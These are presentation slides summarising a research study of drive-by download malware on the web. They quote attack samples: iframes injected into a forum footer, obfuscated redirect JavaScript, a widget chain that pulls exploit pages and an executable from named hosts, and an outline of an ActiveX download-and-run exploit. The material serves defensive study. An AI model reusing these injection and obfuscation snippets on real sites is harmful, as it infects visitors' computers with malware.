All Your iFRAMEs Point to Us

Daniel J Mathew 2011MCS2576
Eldhose Peter 2011MCS2579
1 Introduction

- Objective: Study on “drive-by downloads”
- Two techniques to deliver web-malware
  - Social engineering techniques
  - Drive-by downloads
- Push based and pull based models
- Malware serving networks are composed of tree-like structures
- Even protected web-servers can be used as vehicles for transferring malware.
2 Background

- Installing malware on a user’s computer
  - remotely exploit vulnerable network services
    - Less successful
  - lure web users to connect to (compromised) malicious servers that subsequently deliver exploits targeting vulnerabilities of web browsers or their plugins

- Attackers use a number of techniques to evade detection
  - Zero pixel IFRAME
  - Obfuscated javascript
  - Multiple redirection steps
How are exploits placed on a page?

- 4 methods studied:
  - Compromising the web server
  - Through user-contributed content
  - Advertising
  - Third-party widgets
Compromising the web server

- **Targets:**
  - HTTP server
  - Scripting components (PHP, ASP etc.)
  - Database backend

- More damaging to large virtual hosting farms

- Iframes inserted into the copyright footer of a bulletin board (like phpBB2 or InvisionBoard):

```html
<!-- Copyright Information -->
<div align='center' class='copyright'>Powered by
<a href='http://www.invisionboard.com'>Invision Power Board</a>(U)
v1.3.1 Final &copy; 2003 &nbsp;
<a href='http://www.invisionpower.com'>IPS, Inc.</a></div>
</div>

<iframe src='http://wsfgfdgrtyhgfd.net/adv/193/new.php'></iframe>
<iframe src='http://wsfgfdgrtyhgfd.net/adv/new.php?adv=193'></iframe>
```

All you IFRAMES point to us 11/16/2012
Through user-contributed content

- By abusing the ability to insert HTML
- Comments on blogs, reviews about products, posts on forums
- Blog posts, profiles

```javascript
<SCRIPT language=JavaScript>
function otqzyu(nemz)juyu="lo";sdfwe78="catio";
kjj="n.r";vj20=2;uyty="eplac";iuiuh8889="e";vbb25="('";
awq27="";sftfttft=4;fghdh="ht";ji87gkol="tp://'
polkiu="/vi";jbhj89="deo";jhbhi87="zf";hgdxgf="re";
jkhuift="e.c";ygyhg="o"";dh4=eval(fghdh+ji87gkol+
polkiu+jbhj89+jhbhi87+hgdxgf+jkuift+jgyhg);je15="'")
if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+
iuiuh8889+vbb25+awq27+dh4+je15);
.otqzyu();//
</SCRIPT>
```

- Evaluates to: `location.replace('http://videozfree.com')`
Advertising

- Ad syndication

Solution: make content sanitation original advertiser’s headache
Third-party widgets

- E.g.: counter for keeping count of visitors to a web site

```html
<!-- Begin Stat Basic code -->
<script language="JavaScript"
    src="http://m1.stat.xx/basic.js">
   /statbasic("ST8BiCCLfUdmAHKtah3InbhtwoWA", 0);
    // -->
</script> <noscript>
    <img src="http://m1.stat.xx/n?id=ST8BidmAHKthtwWA" border="0" nosave width="18" height="18"></a></noscript>
<!-- End Stat Basic code -->

+ 

d.write("<scr>"+"ipt language='JavaScript'
    type='text/javascript'
    src='http://m1.stats4u.yy/md.js?country=us&id="+ id + "&_t="+(new Date()).getTime()+"'></scr>"+)"
Third-party widgets

- This triggers a set of downloads:
  - http://expl.info/cgi-bin/ie0606.cgi?homepage
  - http://expl.info/demo.php
  - http://expl.info/cgi-bin/ie0606.cgi?type=MS03-11&SP1
  - http://expl.info/ms0311.jar
  - http://expl.info/cgi-bin/ie0606.cgi?exploit=MS03-11
  - http://dist.info/f94mslrfum67dh/winus.exe

- Another example:
  
  <iframe
      src="http://www.iframemoney.org/banner.php?id=yourid"
      width="460" height="60"...
  </iframe>

- $7 for every 10,000 views
How the exploit works

- Exploit placed on a page via an iframe
- Iframe’s Javascript instantiates an ActiveX object
- And makes an AJAX request to get EXE
- Adodb.stream is used to write EXE to disk
- Shell.Application used to launch the EXE
3 Infrastructure and Methodology

- Landing pages = malicious URLs
- Landing sites = malicious URLs collected according to top level domain names
- Distribution sites
Pre-processing Phase

- Extract several features and translate them into a likelihood score using machine learning framework
  - Map-reduce
  - 5-fold cross-validation
  - These URLs are randomly sampled from popular URLs as well as from the global index. We also process URLs reported by users.
  - ROC curve
  - 1 billion -> 1 million

Figure 2: URL selection and verification workflow.
Verification Process

Equipment: a large scale web-honeynet runs Microsoft Windows images with unpatched IE in virtual machine.

Method: Execution based heuristics & Anti-virus engine

- Heuristics score: the number of create process; the number of observed registry changes; the number of file system changes
- Met threshold: suspicious
- Met threshold and marked as malicious by at least one anti-virus engine: malicious
- What happens if it do not met threshold, but incoming HTTP response is marked?
  - 1 million -> 25,000
Constructing the Malware Distribution Networks

- A set of malware delivery trees, which consists of landing sites (leaf), hop points and distribution site (root)
- Referer headers in HTTP request
  - Redirection from external script
  - Referer header not set
- How to fill missing causality links?
4 Prevalence of Drive-by Downloads

- 6000 malicious in top 1 million google results
- Every 1000 query to google give 13 malicious results

Data collection period | Jan - Oct 2007
Total URLs checked in-depth | 66,534,330
Unique suspicious landing URLs | 3,385,889
Unique malicious landing URLs | 3,417,590
Unique malicious landing sites | 181,699
Unique distribution sites | 9,340

Table 1: Summary of collected data.

<table>
<thead>
<tr>
<th>Hosting country</th>
<th>Dist. site % of all dist. sites</th>
<th>Landing site % of all landing sites</th>
</tr>
</thead>
<tbody>
<tr>
<td>China</td>
<td>67.0%</td>
<td>China 64.4%</td>
</tr>
<tr>
<td>United States</td>
<td>15.0%</td>
<td>United States 15.6%</td>
</tr>
<tr>
<td>Russia</td>
<td>4.0%</td>
<td>Russia 5.6%</td>
</tr>
<tr>
<td>Malaysia</td>
<td>2.2%</td>
<td>Korea 2.0%</td>
</tr>
<tr>
<td>Korea</td>
<td>2.0%</td>
<td>Germany 2.0%</td>
</tr>
</tbody>
</table>

Table 2: Top 5 Hosting countries

Figure 3: Percentage of search queries that resulted in at least one URL labeled as malicious; 7-day running avg.
4.1 Impact of browsing habits

- Malicious websites are generally present in all website categories (DMOZ classification) we observed.
- “Safe browsing” does not provide an effective safeguard against exploitation.

![Graph showing prevalence of suspicious and malicious URLs by category.]

Figure 4: Prevalence of suspicious and malicious pages.
5 Malicious Content Injection

- Two categories: web server compromise and third party contributed content

5.1 Web server compromise:
- Outdated software
- Weak security practices by administrators

<table>
<thead>
<tr>
<th>Srv. Software</th>
<th>count</th>
<th>Unknown</th>
<th>Up-to-date</th>
<th>Old</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache</td>
<td>55,088</td>
<td>26.5%</td>
<td>35.5%</td>
<td>38%</td>
</tr>
<tr>
<td>Microsoft IIS</td>
<td>113,905</td>
<td>n/a</td>
<td>n/a</td>
<td>n/a</td>
</tr>
<tr>
<td>Unknown</td>
<td>12,706</td>
<td>n/a</td>
<td>n/a</td>
<td>n/a</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Scripting</th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>PHP</td>
<td>27,873</td>
<td>8.5%</td>
<td>51.6%</td>
<td>39.9%</td>
</tr>
</tbody>
</table>

Table 3: Server version for landing sites. In the case of Microsoft IIS, we could not verify their version.
5.2 Drive-by Downloads via Ads

Ad syndication

For each tree, we examine every intermediary node for membership in a set of 2,000 well known advertising networks. If any of the nodes qualify, we count the landing site as being infectious via Ads.
Malware delivered via Ads exhibits longer delivery chains, in 50% percent of all cases, more than 6 redirection steps were required before receiving the malware payload.

Figure 6: CDF of the number of redirection steps for Ads that successfully delivered malware.
Conclusions & Observations

- Google can do very detailed analysis on searches and results
- Authors strive to be politically correct
References


Thank you!

Questions?